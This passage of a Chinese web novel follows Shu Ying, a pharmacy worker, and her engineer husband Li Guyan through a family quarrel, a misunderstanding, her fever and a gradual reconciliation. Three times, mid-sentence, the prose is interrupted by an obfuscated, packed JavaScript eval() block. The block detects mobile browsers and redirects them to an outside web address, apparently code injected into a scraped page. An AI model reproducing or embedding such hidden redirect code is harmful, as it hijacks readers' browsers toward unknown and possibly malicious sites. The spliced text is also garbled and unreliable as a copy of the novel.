“他上班忙的,你大哥今天也还在厂里,说厂里最近在研究新品,巧克力的什么东西,到时候出来让武茂给你们送过去尝尝。”舒妈又说起舒秀珍,“你姐这胎怀得是真不容易,那手那脚天天都肿得跟什么似的。” 舒英听到这话就往里屋看,生怕里面有什么不对劲,大姐舒秀珍从小就是个脾气大的,知道大嫂滑胎后埋怨妈跟大嫂差点没吵起来,所以大嫂跟大姐的关系也不怎么样。 而且俩人差不多时间怀孕,一个滑胎,一个被照顾得好好的,大嫂难免心里不平衡。 舒妈白了她一眼,“怎么的,我在自己家还不能说话了。” 舒英赶紧拉住她,“妈,你小点声吧。”都是一家子,明知道人家心情不好,还往人家肺管子上戳。 舒妈还想说什么,也往里屋看了眼,到底还是没说。 “妈,我饿了,你去做饭吧,我给你打下手。”舒英怕她还说出什么来,连忙将人往厨房里推。 算算时间也差不多了,五点多李固言来接她,那四点多也该吃上饭了。 等饭做好后,舒英摘下围裙去里屋敲门:“大嫂,饭做好了,出来吃点再睡吧。” ……“好。” 舒武茂也把出去下棋的舒爸喊回来了,舒爸进门道:“二闺女回来了,女婿来了吗?” “没,他今天厂里加班,下次再带他过来。” 舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739136|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸双手背后,皱着眉头,“你这回来几次,他都没跟着过来,他就这么忙吗?连过来一趟的时间都没有?” “下次,下次肯定让他过来。”舒英打了个哈哈道,“饭菜都好了,坐下吃饭吧爸,妈今天烧了好几道菜呢。” 舒爸冷哼一声坐下,没再说什么。 大嫂出来坐下,脸色不太好,拿着筷子光吃饭也不说话。 舒妈就瞧不得她这样子,也有些鼻子不是鼻子眼不是眼,夹了一筷子肉放到舒英碗里笑着对舒爸说:“今天闺女一过来就帮我干这干那,一点儿没闲着,这一桌子菜要不是闺女,我自己一个人可做不出来。” 明夸舒英勤快,暗讽大嫂懒,舒爸没听出来深意,啜了一口白酒笑道:“二闺女从小儿就懂事。” 大嫂筷子一顿,在菜盘里重重按了一下,夹了一块肉放碗里。 “是啊,要不还得说闺女是小棉袄呢。”舒妈边说边瞅了一眼大嫂。 舒英皱眉,桌下的腿碰了碰她。 舒妈避过去,还想再说话,就听大嫂冷笑一声:“对,就你闺女好,有本事你别让舒文佑娶我啊!” 舒妈听到这话,火气蹭蹭往上冒,筷子往桌上一拍:“你这话说的真好,当时我就不同意他娶你,你农村的……” “妈!”舒英听她这话越说越过分了,连忙出声制止,给舒武茂使了个眼色让他拉住妈后,起身去劝大嫂。 舒爸见婆媳俩又要吵起来,坐在位置上冷着脸不发一言。 舒武茂拦住舒妈后,舒英带着大嫂进屋,大嫂这时候脸上的眼泪已经哗啦啦往下淌了,她轻叹口气,柔声劝道:“大嫂,妈那个人你也知道,就是嘴巴厉害了点,没什么坏心眼儿的。” 大嫂也忍不住诉苦:“二妹,我觉得这个家你该最理解我才对,你妈这个人怎么样你心里最清楚,她偏心你大姐也不是一天两天的了,平时怎么样也就算了,我好不容易怀上孕,胎像又不稳,我爸妈都在外地乡下,根本来不了,就盼着你妈能多照顾照顾我,结果呢?” 舒英不知道说什么,伸手拍了拍她后背。 大嫂抽噎着继续道:“我妈知道我怀孕辛苦,特地托人捎了个老母鸡过来,说让你妈给我煲个汤喝,一锅汤我喝了半锅都没有,全被你妈端给你姐了,后面又给我从市场上买了个鸡,就这么一锅汤她也得贴补给你姐,能再买个鸡补给我,就不能给你姐重新买个鸡吗?不就是看我妈捎来的鸡肥,肉紧实,不好买吗?” 舒英这下也有些沉默了,从小到大,她就没被偏疼过,大哥是长子,大姐是第一个闺女,小弟是幺子,就她,夹在中间不上不下。 从里屋出来后,舒英实在是有些累了,也不想吃饭了,拿了包就要出门。 舒爸舒妈也没挽留,也没一个人注意到她就吃了两口饭。 刚走到楼下,迎面碰上一个人,“小英,这是怎么了,脸色这么难看?”是严建中,住他们家楼上,是从小的邻居。 “没事。”舒英强撑起精神笑了笑,“你这是才回来?” 严建中笑着道,“家里缺东西,我去商店里买了点。”说完后觑着她的神色道,“人上了年纪,性子难免有些执拗,你别放心上,你严叔严姨在家也没少说我。” 舒英咧了咧嘴角,眼眶瞬间就盈了眼泪,她俩从小都在这楼里长大,就相差一岁,严建中最知道她家的情况。 “我没事。”舒英快速眨了眨眼,从口袋里掏出手帕摁了摁眼角。 远处一个身影冷着脸朝这边看了会儿,压了压眉头,自嘲式地笑笑,随即转身,推着车走了。 而这一切舒英并没注意到。 5. 第 5 章 严建中等她调整好情绪后问:“这天马上黑了,你怎么回去?要不要我送你到公交车站?” 舒英摇摇头笑着拒绝:“不用,我爱人待会儿来接我,我就在这边等会儿就行,你赶紧上去吧,嫂子肯定在家等着你呢。” “行,那我就不陪你了。”严建中笑笑,从自行车上取下买的东西,将车停楼道里锁好后上楼。 舒英跟人闲聊一番后,觉得心情好了许多,抬头看着天边快要全部沉下去的太阳笑了笑,迎着霞光朝路口走过去,在一个显眼的地方站定,方便李固言过来时能一眼看到她。 她原地等了会儿,眼瞧着天要黑下去了,还没见人来,她看了眼手表,已经快六点了。 舒英抿了下唇,拉了拉皮包肩带,朝着公交车站走。 中午梳好的头发,现在已经有些凌乱,发丝随冷风飘散,舒英低着头想,也许他是忙忘了,昨天忙到那么晚,今天中午也没回来吃饭,估计这会儿还在厂里加班没注意时间。 舒英在心里使劲找着理由,使劲把涌上来的失落压下去,上了车还在朝着路边看,生怕正好和李固言错过。 这种时候,不知怎么的,突然想起下雨天时,林建国和庄小梅来,他俩是自由恋爱,虽然经常吵架闹别扭,但感情一向好。 家属院里都说她嫁对了人,李固言性子好,有学问,挣得多,但细细想来,林建国和庄小梅这样热热闹闹的也挺好。 到家时天已经黑透了,院子里晒的床单被罩和被子都还没有被收起来,舒英顾不上失落,赶紧将它们收到屋里,把床铺上。 肚子适时咕噜咕噜叫起来,舒英没管它,刷了牙上床躺着。 到了八点多的时候,院子里多了声响,是李固言回来了。 舒英坐起来,眼睛紧紧望着门口,没一会儿外间的灯被拉开,但人迟迟没有朝里间进。 舒英等了一会儿后,还是起身下床拉开门,和外间的男人四目相对。 两人谁都没开口,最后还是舒英打破沉默,“你回来了?” “嗯。”李固言看着她,脑子里闪着傍晚她和那人说说笑笑的片段,一时有些不知道该说什么。 舒英看着他有些失望,他好像完全忘了他说的要去接她这回事,连一句解释都没有,哪怕是一句忙忘了呢?她垂下眉眼没吭声又回房躺下。 李固言略显随意地瘫坐在外间沙发上,头仰在靠背上,眼神望着天花板放空。 今天厂里特别忙,他为了晚上能腾出空去接她,中午连饭都没吃在加班,四点半就骑着车朝那边去,一路上都没敢停,就害怕会让她多等。 但没想到到那就看见她跟那人站在楼下聊天,有说有笑的。 他自认不是一个封建的人,也不觉得女人在结婚前不能谈恋爱,可是既然选择结婚,那就不应该再跟前任有纠葛才对,怎么还能笑得那么开心呢? 当初机械厂家属院扩建,他只要结婚就能占上名额,所以跟她相亲,互相看上眼后,第二天就去了民政局。 在她之前,他没有任何感情经历,结了婚后,他想跟她好好过日子,就把一颗心都捧给她,后来她接二连三拒绝,他也没说什么,直到知道她是因为心里还没放下那个人…… 可要是心里有人,当初为什么还要答应跟他结婚,就因为他有分房名额吗? 里间黑沉沉的没开灯,外间的灯光透过玻璃照进屋里,舒英一闭上眼就都是李固言刚才面无表情的脸,她在床上翻来覆去越想越气,干脆起身去柜子里把自己的碎花被抱出来放在床外侧。 这蓝被子今天才洗过晒过她自己盖,让他盖这碎花被。 舒英把被子给自己掖好后面朝里躺着,决定不去管外面的人,闭上眼睛睡觉。 李固言直在外面坐到了十点多才洗漱进屋,一进房间就发现了床上的异样,看到床上的两床被子后,他明显怔愣了下,随后盖着碎花被躺在床外侧,被子里冰凉,他看着窗帘缝隙透进来的月光,说不清楚心里是什么滋味。 明明前天晚上他们两个还在这张床上翻云覆雨,今天就又恢复了原状,是因为又见到了心上人,所以又不想跟他将就了吗? 舒英这时也还没睡着,眼睛安安静静地盯着墙看,不自觉地就从眼角流出一行泪。 她今天出门时还挺开心的,涂了口红化了妆,还穿了小高跟皮鞋,怎么回来后又变成这样了呢? 她轻轻用被角捻去眼泪,仔细着没有发出声响,只觉得又冷又累。 半夜里舒英就发起烧来,浑身出虚汗,李固言本来就没睡着,听到她的痛苦呻-吟,一下就注意到她的异样。 李固言赶紧拉开灯,看见她不自然泛红的双脸,伸手在她额头上碰了碰,温度灼人,他心道不好,赶忙去把柜子里的药箱翻出来,将温度计甩了甩后放到她腋下。 等了几分钟后,他取出温度计一看,都烧到了39度了,幸好家里平时囤的什么药都有,他拿出退烧药,小心翼翼地喂她吃下,要是吃了药,烧还退不下去,那就要去医院了。 舒英这时候还迷迷糊糊的,只一个劲儿说热,李固言瞧她难受,也有些心疼。 为了让她能好受些,李固言又去把家里的高度白酒拿出来,倒在毛巾上反复给她擦脖子、手心、腋下,过程中舒英一直苦着脸皱着眉,很不舒服的样子。 李固言看着她受罪,忍不住伸手摸了摸她的脸,呢喃道:“这好好的,怎么大半夜就烧起来了,还这么严重。” 折腾了一个多小时,烧终于是退下了,但李固言怕烧又起来,一夜都不敢合眼地在旁边守着她。 早上的闹钟刚响,李固言就伸手关掉,生怕会吵到她,让她睡不安稳。 许是退烧药的药效不错,后半夜舒英再没烧起来。 舒英醒的时候,室内已经大亮了,她下意识就心道不好,慌忙转头去看时间,已经快九点了,迟到一小时了! 从她上班那天起,就没迟到这么长时间过,这要是碰上领导过来检查,她保准会被批评。 想到这,舒英赶紧从床上站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739137|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾不上头晕就把衣服往身上套。 李固言做好早饭后进屋就看到这一幕,连忙按住她制止道:“你怎么起来了?赶紧回床上坐着,别冻着,我给你医院打过电话请假了。” “请假?”舒英穿衣服的动作一愣,“你干嘛帮我请假?” 李固言拉着她到床上坐好,边将被子往她身上盖边回答她的问题:“你昨天烧了一夜,你不知道吗?” 说着伸手按在她额头上,“温度差不多恢复正常了,头疼不疼?” 舒英反应过来后,感受着脑内跳动,好像头是有点疼,还有点晕,刚才只想着要迟到了,真没注意到这些。 李固言等她静下来后,出去将早饭端到床前,“饿了吧,吃点东西,吃完后再吃一粒退烧药。” 舒英看了他一眼,接过碗安静吃起来,昨天晚上就没怎么吃饭,现在的确饿得有些难受。 李固言也不说话,在旁边给她剥鸡蛋,剥完后再递给她。 他看着舒英还有些发白的脸色,回想起昨天夜里刚发现她发烧时,他心里慌张手足无措,平时活蹦乱跳的人,突然病倒在床上,神志不清痛苦呻-吟。 等舒英把早饭吃完后,李固言问:“你中午想吃什么?我去买回来做。” “我想吃饺子。”往常她生病,舒妈都会给她包饺子吃,说饺子有肉又有菜,最有营养。 “饺子?”李固言点点头应下,“那我待会儿出去买肉,你在家看会儿电视。” “嗯。”舒英看着他打开电视后端着空碗出去的背影,没多说什么。 李固言其实不会做饺子,他上学时在家都是李妈做饭,工作后又一直是吃食堂,煮粥炒个简单的菜这些还都是结婚后跟舒英学的。 但像包饺子这种又要剁馅又要包的技术活,他是真不太会,但到底是见李妈做过,所以脑子里有点记忆。 李固言在厨房折腾的时候,舒英坐在床上想未来。 在那本书里,她和李固言的婚姻属于前传故事,她出场不多,几乎只存在李固言的口述中,后来在签离婚协议的时候出现过,书里说她冷静而干脆,在李固言提出离婚的瞬间就点头同意,并没有过多纠缠,两人很快分割好财产,面对李固言的天价财产,她只要了二院附近的一套小房子,其他什么都没要。 这对夫妻在商议离婚时客气而陌生,甚至书里女主都对此感到诧异,一对没有爱的婚姻究竟是为什么坚持了那么久,哪怕分居多年都没有离婚的。 书里没有描述李固言对这位前妻是什么感情,但舒英回想起他昨天的态度想,应该是不喜欢的吧,大家当初结婚都是为了房子,成为夫妻试了一段时间后发现不合适,便很快将感情抽离,后来一直没有离婚可能也只是没有理由吧。 在这个时代,“不爱”并不能成为离婚的理由。 电视里重播着87年春晚费翔唱的《冬天里的一把火》,热烈而快乐的氛围突兀地在房间响起。 舒英呆呆看着电视,或许书里的走向才是最适合他们的。 6. 第 6 章 李固言的饺子馅调得还行,不算难吃,但包饺子的技术就实在一半了,下了锅后,有不少饺子就开了口,里面的馅化在开水中,成了一锅肉馅面皮汤。 李固言从这堆狼藉中仔细把完好的饺子挑出来,盛到一个碗里,端去房间给舒英。 舒英并不知道他包个饺子这么艰难,尝了一个后道:“挺好吃的,谢谢。” 李固言听到夸奖笑起来,“好吃就好。”没察觉她语气的疏离,只以为她是因为生病心情不好。 “嗯。”舒英避开他的目光,低着头静静将剩下的吃完。 等舒英吃完后,李固言才去厨房将那锅失败的肉馅面皮汤吞下肚,总归不管是饺子还是汤进了肚子就都是一个样,他填饱肚子后将厨房打扫好。 昨天晚上舒英病得那么凶狠,李固言下午也不敢离开她去上班,干脆在房间里守着,这样她要是有个什么事,他也能及时处理。 舒英生了病,精神不太好,吃过饭后就又躺下睡觉,李固言起身关掉声音有些嘈杂的电视,坐在床边看书,时不时地给她拉一拉被角。 在无人注意的时候,太阳逐渐奔向西去,窗前的光慢慢暗下去,使人看不清书上的文字。 李固言轻轻合上书到床边去观察舒英的状态,他碰了碰她额头,没起热,脸色也不像早上那么苍白了,他把灯拉开,柔声唤醒她:“快六点了,起来醒一醒,再睡晚上要睡不着了。” 舒英睁开眼坐起来打了个哈欠,在床上睡了一下午,脸颊绯红。 李固言给她倒了杯温水,等她喝完后问:“你晚上想吃什么?还吃饺子吗?” “都行。”舒英把杯子放回床头柜,语气淡淡,“感觉睡一天,浑身都有点不舒服,我想出去走走。” 李固言下意识看向窗外,天已经黑了,路灯也不是很亮,接话道:“我陪你一起……” “不用。”舒英打断他的话,避开他的视线,扯了扯唇道,“我就在附近散散步,不去厂外面。” 李固言手指微动,长睫毛遮挡住眼底的失落,唇角动了动,又转身去拿了件厚点的外套过来:“晚上冷,你还生着病,穿厚一点再出去。” 舒英低着头拉上拉链没说话,乖乖接过他递来的帽子和围巾。 李固言帮她把围巾往上拉了拉,挡住脸以免被风吹,“你去吧,我在家做饭,中午的饺子还没下完,我晚上还下饺子了?” “嗯。”舒英没看他,推开门出去。 李固言有些不放心地看着她的背影,最终被关上的大门挡住,他唇角不自觉地下压,向来精致的眉眼也透出一股易碎的脆弱来。 他伸手去拿床头柜上的玻璃水杯,目光下移,被一抹鲜亮色吸引,是舒英给他打到一半的毛衣,他小心拿起来放身上在镜子前比划,生怕两根签子从线孔中掉落,比划完后又小心放回去,摸着毛线柔软而温暖的触感,轻轻叹了一口气。 家属院一向比较安全,所以天虽然黑了,但现在还有不少邻居家的小孩在路边玩闹,玩着弹珠、卡纸、跳皮筋之类的游戏。 出来呼吸一下新鲜的空气后,舒英心情的确是好了不少,她低着头沿着路边走,幼稚而顽固地踢着一颗石子。 有小孩从她层层堆叠的打扮中认出她,冲她打招呼:“舒阿姨,你怎么穿这么厚啊,你不热吗?”现在虽然冷,但也还没到要戴帽子围围巾的时候。 舒英双手揣兜笑了笑,回道:“阿姨生病了,所以要穿厚一点。” “阿姨,你感冒了啊,那你有打针吗?我上次感冒,我妈就带我去医院让医生给我打针,那么长的针头就往我屁股上扎!”他边说还边用手比划大小,小小的脸上都是认真。 舒英看着他的样子有些忍俊不禁,“阿姨没有打针,阿姨吃了药就好了。” 豆豆听到没打针竟还有点失望,更是让舒英乐不可支,“好吧,那你吃糖了吗?我一打针,医生阿姨就给我一颗棒棒糖吃,妈妈也不会收走。” “阿姨是大人了,不用吃糖。”舒英蹲下来,笑盈盈地和他对视。 “大人也要吃糖啊。”豆豆伸手在身上几个兜都摸了个遍,最终找出一颗大白兔奶糖塞给她,“吃了糖身体就不会不舒服了。” 舒英看着手心里的大白兔奶糖笑了笑,“谢谢豆豆,阿姨吃了豆豆给的糖就会很快好起来了。” “阿姨,告诉你一个秘密。”豆豆小小的手冲她招了招,舒英配合的将耳朵递过去,就听到他道,“我每次生病的时候,妈妈都会变得特别温柔,都不骂我了,还会一直守着我睡觉。” 舒英愣了愣,在她走神的时候,豆豆已经被其他伙伴叫走到别处玩了。 舒英无奈地摇头笑笑,起身往回走。 到家的时候,李固言还在厨房,舒英走进去,饺子已经煮好了,李固言正在盛出来,汤勺在锅里搅拌,不知道在捞什么,注意力十分投入,连她进来都没有发现。 舒英也没出声,打开橱柜拿筷子。 橱柜门被拉开时发出一声“吱呀”,李固言惊得手一抖,勺子里的饺子掉进汤锅,溅出几滴水在手背上,水被烧得滚烫,疼得他下意识抽手。 舒英被他一连串的动作吸引,在意识到他被烫了后,连忙将水龙头打开,拉过他的手放在流水下冲。 好在只是几滴水,只是烫疼了点,并不算严重。 李固言在被她拉住手的时候就悄悄站在锅前,想用身体挡住那一锅不堪入目肉馅面皮汤。 舒英没注意到他的动作,把他的手冲好后,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739138|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起台子上的碗说:“你出去吧,我来盛。” 她动作快,李固言没挡住,小小的厨房在她走到锅前时瞬间变得安静。 舒英默了会儿后放下碗,转身看向他问:“你不会包饺子?”她是真不知道他不会,要是知道他不会的话,她就不会说想吃饺子了。 李固言移开视线没说话,背在后面的手指抠了抠。 舒英将肉馅面皮汤平均分成了两碗,平静地吃完后将碗洗掉,随后洗漱好进屋。 李固言也不知道应该说些什么,吃完后将厨房收拾好,也洗漱回屋,到房间的时候,舒英已经坐在被窝里了,旁边的碎花被仍整齐地铺在外侧。 舒英没有打毛衣,而是拿了本书坐在床上看。 李固言倒了杯热水递给她,舒英接过,眼神默默从他轻微泛红的手背上滑过,脑子又想起那一锅肉馅面皮汤和中午不好看却包得完好的饺子,是不是他中午也是那样用勺子一个一个地从锅里把好的挑出来给她,等她吃完后再去吃剩下的? 李固言扫了眼毛线筐后走到桌前坐下看书,但心神却一直关注着舒英。 房间安静,也没开电视,就只剩下两人手中书的翻页声,不知过了多久,舒英道:“你明天别请假了,回去上班吧,我现在已经好得差不多了。”他们厂一向很忙,他这请了一天假,还不知道要花几天才能把工作补回来。 李固言抬起头看向她,她微微低着头注视着手中的书,柔和的灯光照在她身上,显出她纤长的脖颈,周身气质破碎而独立,他嘴唇动了动,还是道:“好。” 舒英到底是生着病,虽然睡了一下午下午,但这会儿才看了会儿书就又困了,打了个呵欠,将书放到床头躺下睡觉。 等她彻底睡着后,李固言才上床,老老实实躺在外侧盖着碎花被。 其实他有一点点后悔了,他昨天不应该扭头就走的,回来后也不应该置气一直待在外间不进屋的。 他轻轻翻身看着她的背影,他昨天走后就后悔了,后来又骑着车回去,只是等他到那的时候,她已经走了。 他闭上眼,眼中闪过前几天的一些画面:她伞下红着脸说谢谢、她黑夜里抱着他说和好吧、她灯下给他织红毛衣,说红色喜庆正好留着今年过年穿…… 李固言缓缓睁开眼,眼睛已经完全适应黑暗,可以清楚地看到蓝色被子和碎花被之间界限分明,而对面之人侧过身背对着他。 他昨天不是没有看到她眼中的期待和失望,他那时只是太生气了,有点不知道要怎么面对她,他怕自己只是她的将就,怕会像刚结婚时那样被一再拒绝。 他盯着她的背影,眼底流出自己都没有意识到的情意。 上次是她主动和好,那这次是不是要换他主动一点? 7. 第 7 章 李固言给她请了两天病假,假休完后,舒英就回医院上班。 到了医院,小胡瞧见她就迎上来,小嘴叭叭的,一刻也不停:“姐,你现在怎么样啊?怎么好端端的突然生病了,你病得严重不,说你发烧都烧到39度了。” “没事,可能就是前两天突然降温冻着了,晚上就烧起来了,就烧了那一次,现在没事了。”舒英笑着回答,对于她的关心,觉得很暖心。 “没事就好,现在天冷,平时还是得多穿点。”小胡松了一口气,又继续开始絮叨,“姐你都不知道,你这两天没来上班,我自己一个人有多无聊。” “不是还有蒋姐跟汪姐在吗,怎么会无聊。” 小胡听到这嘴一鼓道:“姐,你又不是不知道,她俩天天不是聊儿子就是聊闺女,我根本插不进去嘴。” 舒英笑了笑,从病人手里接过药单子去后面拿药,小胡跟跟屁虫一样跟在她后面,她走到哪她跟到哪。 “你把后面那个盐酸奥洛他定拿给我。”舒英眼睛看着药架笑,蒋姐跟汪姐人到中年,说话也不顾及,有时候会开一些带颜色的玩笑,小胡一个还没谈过恋爱的小姑娘的确是不好意思往她们身边凑。 小胡两日没见舒英,甚是想念,一整天都围在她身边打转,也幸好是今天拿药的人不多,让她有时间在这边转。 不过有她在旁边插科打诨的,舒英的心情的确是好了不少。 …… 机械厂办公室里,李固言也在听同事们吹牛聊天。 男人们之间的话题总是直白而又夸张许多,聊上头后,声音就开始不自觉放大,所以李固言虽然没加入他们,但也有意无意听了两耳朵。 “你这不行,真是怂蛋,她生气你就得哄着啊,怎么不让她来哄你呢!”说这话的姓赵。 另外一人嘁他:“你就话说的好听,可别误导小万,回头他真听了你的,再跟他老婆干起来。” 赵工不服气,反驳说:“丁朋义,真不是我瞎说,你看我家那位,是不是对我百依百顺?所以说小万,你还是得听我的,她既然生气,你就晾她两天,你不搭理她,她就慌了,就主动来找你了。” 小万看着各执一词的二人,有些无措。 丁朋义翻了个白眼:“得了吧你,嫂子那哪是对你百依百顺啊,她那是不想搭理你。” 也不知这话是不是戳到了赵工的痛处,他到嘴的话一顿,伸手拿起桌上的杯子揣怀里,用力冷哼一声出去了。 而被争执的小万眨巴眨巴眼,从怀里掏出一根烟,对丁朋义双手奉上,请教道:“丁哥,我就觉得你说的肯定是对的,小弟现在这样,你可得帮我出出主意。” 丁朋义接过烟别在耳朵后面,拍拍他的肩膀道:“那你放心,我这做大哥的肯定不会见死不救,你先说说你俩之间怎么回事?” 等小万说完,丁朋义沉思了一会儿,李固言也不自觉停下笔,不自在地动了动耳朵。 “要我说这也不是什么大事儿,她现在不想搭理你,你就服个软,道个歉,再想想她喜欢什么,她要喜欢吃的你就买吃的,她喜欢衣服你就送衣服,再扮个可怜卖个乖,女人都心软,这事儿也就过去了。”丁朋义说完后注意到李固言的视线,顺嘴问道,“李工,你也是过来人,你说是不是?” “嗯,是。”李固言说完后慌忙将眼神重新放到眼前的图纸上。 丁朋义笑起来,对着小万随口道:“李工跟他老婆一向感情好,平时有商有量的,从来不红脸,你这刚结婚,没事儿可以跟他取取经。” 李固言听到这话收了收手,眼底闪过一抹心虚。 小万却是眼神一亮,跟捧了圣旨一样往他这边走。 李固言余光看到他越来越近的身影,突然拿着图纸站起来道:“我突然发现这机器上好像有点错误,我去车间检查一下。”说完也不看二人,长腿阔步地就往外走,独留小万在后面错愕地看着他的背影。 丁朋义对李固言一心扑在事业上已经见怪不怪了,随口道:“李工这人啥都好,就是在事业上实在是太拼了,过年都愿意留下来加班,不过也是,他有文化有技术,又这么努力,升职升的也是最快的。” 而出了办公室的李固言却没有去车间,拿着图纸朝没人的角落走。 刚才丁朋义跟小万说的那些话,他都听了,舒英现在对他也是爱搭不理的,比之前还过分,至少之前还会时不时地关心他。 若说前两天他是隐隐有些后悔,那现在他就是真的悔得肠子都青了。 回想刚才丁朋义的那些方法,李固言眼睫动了动。 舒英中午从食堂打了饭带回家,和好的那几天,李固言中午会回来吃饭,她就自己做,下面条,或者吃米饭炒菜,虽然麻烦了一点,但总体来说也算是开心的。 现在不用做饭了吧,倒是清闲了,但也觉得有些无趣。 舒英到家刚打开饭盒准备吃,李固言就回来了,他推开门进来,一同进来的还有一股扑鼻香味,是烤红薯。 舒英鼻翼动了动,但没去看他,也没说什么,淡定地拿着筷子吃午饭。 李固言见她没理自己心里微微有些失落,他抿了下唇,唇角被拉平,将买回来的烤红薯放到饭桌上道:“我看巷口的烤红薯挺香的,就买回来了,你要不要尝尝?”说完后偷偷地观察着她的神色,生怕她会拒绝。 舒英本来是想说不吃的,但不经意抬头,突然看到他脸上的小心翼翼,不知怎的就想起了那碗完好的饺子,拒绝的话在舌尖 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舒英没说话,起身到厨房拿了一个碗过来,将饭盒里的饭菜分出一半给他,李固言盯着她的动作,非常有眼色的将一半烤红薯放到她手边,这回舒英没有拒绝。 两人心思各异地将午饭吃完,李固言去里间睡觉,舒英用毛线给织小鞋子,她姐舒秀珍约莫着年底就要生了,她是做小姨的,想亲手织两双虎头鞋送过去。 李固言在她拿起毛线筐的那瞬间,感觉心都漏掉了半拍,最后眼睁睁看着她拾起了另一团毛线,而属于他的那半截红毛衣还静静地躺在最下面。 从这天起,舒英也不知道李固言怎么就转了性子,天天中午都回来,不光回来,手里还都拎着点从家属院门口小摊处刚买的小吃,有时是糖炒栗子,有时是几块刚出锅的鸡蛋糕,有时又是小孩最喜欢的炸鸡腿。 家属院门口的那些小摊最受院里的孩子喜欢,一到中午放学,就成群结队地把那些小摊围在中间,一手攥着钱,一手接过那些诱人的小吃。 也不光是小孩喜欢,大人有时候嘴馋也会买点回来吃,但一般都不会赶在放学的点去买,那时候小孩最多,熙熙攘攘的小孩中夹着一个大人,总归有些不好意思。 但李固言下班的时间又正好和那群小孩重合了,舒英一想到李固言“鹤立鸡群”的那个画面就想笑,还不知道那群小孩在背后要怎么编排他。 舒英歪头想了想,该是说“这么大人了,嘴巴还这么馋,天天中午都要来买零食吃。”又或者是羡慕他有钱,可以想买什么就买什么,不像他们手里只有爸妈给的那么一丁点的零花钱,得计算着买了炸鸡腿就不能再买蜂蜜小蛋糕。 舒英摇摇头笑起来,将虎头鞋上面的线头藏起来。 8. 第 8 章 这天,李固言下班一回来,就见舒英坐在院里,手里针线翻飞,鲜红色的毛线缠在她小指间,随着她灵动的手指搅在一起,有序地交叠到毛衣上。 他眉目舒展,脸颊肌肉牵起带动唇角上扬,知道这段时间的坚持有了成效,至少她又愿意勾他那件红毛衣了,他将手里拎着的巧克力饼干放到她旁边的小几上。 舒英扫眼看了一下,头也没抬地说:“你以后别天天买这些东西了,吃了这些零食吃不下饭,不健康。” “好。”李固言没有不答应的,他扭头看了眼天边,太阳现在悬在西边,阳光刚好从西边的院墙照进来,但傍晚的光只亮而没有温度,他进屋把热水袋灌满,拿出来递给舒英,“外面冷,进屋吧。” 舒英揉了揉脖子,也觉出些冷意来了,她活动了下因为保持一个动作而有些酸麻的十指,在热水袋上暖了暖,端着毛线筐进屋。 李固言跟在她后面把门关好,以免冷风刮进来,冲了屋里的一点点热气。 时间差不多,也该做晚饭了,李固言挽起袖子要进厨房,“我们晚上下面条吃吧?正好家里还有些挂面。” “我做吧,我现擀面,擀的面条比挂面好吃有嚼劲。”李固言做的饭不难吃,但也绝对说不上多好吃,毕竟他是李家唯一的儿子,家里一个姐姐一个妹妹,李妈就没让他进过厨房。 李固言也觉得擀面条好吃,“那我炒点肉丁。”肉丁炒熟再和青菜萝卜之类放到面条里煮着吃,更香。 舒英从面粉桶里舀了碗面出来,加点盐,打个鸡蛋进去,再一点一点地兑水进去揉成团,拿个锅盖盖上醒发十分钟左右。 李固言力气大,醒发好后,舒英让他来揉成团,再擀成厚度均匀的面饼,她将面饼叠在一起,用刀切成条,抓散。 等锅里水开后,就可以下面了。 一锅面下好,热腾腾地盛出来,吃进肚子里,全身上下都跟着发热,舒英小脸吃得红扑扑的。 李固言吃完饭没歇一会儿就又去了厂里,厂里想研发一条属于自己的电器生产线,他是工程师,负责这方面,杂七杂八的都要参与进去,这也就导致他比普通工人要忙得多。 舒英等他走后就洗漱好进了里屋,打开电视边看边织毛衣,她手快,一件毛衣织好也要不了几天。 织得手累了就歇一歇,看看书扫扫地,总归是闲不下来的。 到了九点多就上床睡觉,天是越来越冷了,被窝也越来越凉,她现在睡觉前都会先把灌瓶热水放到被子里,把脚边暖热后再上床。 灌热水的瓶子就是从医院拿回来的废弃药瓶,洗干净,热水煮沸消毒,正好充当暖手瓶用。 舒英把电视关上,钻进被窝,伸手把房间里的灯拉灭,但留了一盏床头灯,免得李固言回来时黑漆漆的看不清。 李固言回来的时候已经快十点了,舒英早睡熟了,他轻手轻脚地到卫生间洗漱,在轻手轻脚地回房。 床头灯灯光微弱,静静地照亮那一小片地方,借着那一点点小光,正好能瞧见舒英被子的微微隆起。 李固言脱掉鞋动作缓慢地上床,生怕吵醒她,碎花被里冷冰冰的,使他不由得就想起前段时间怀里的温香软玉来,那段时间他每天晚上一回来就能睡在暖烘烘的被子里,怀里还能搂着带着馨香的可人。 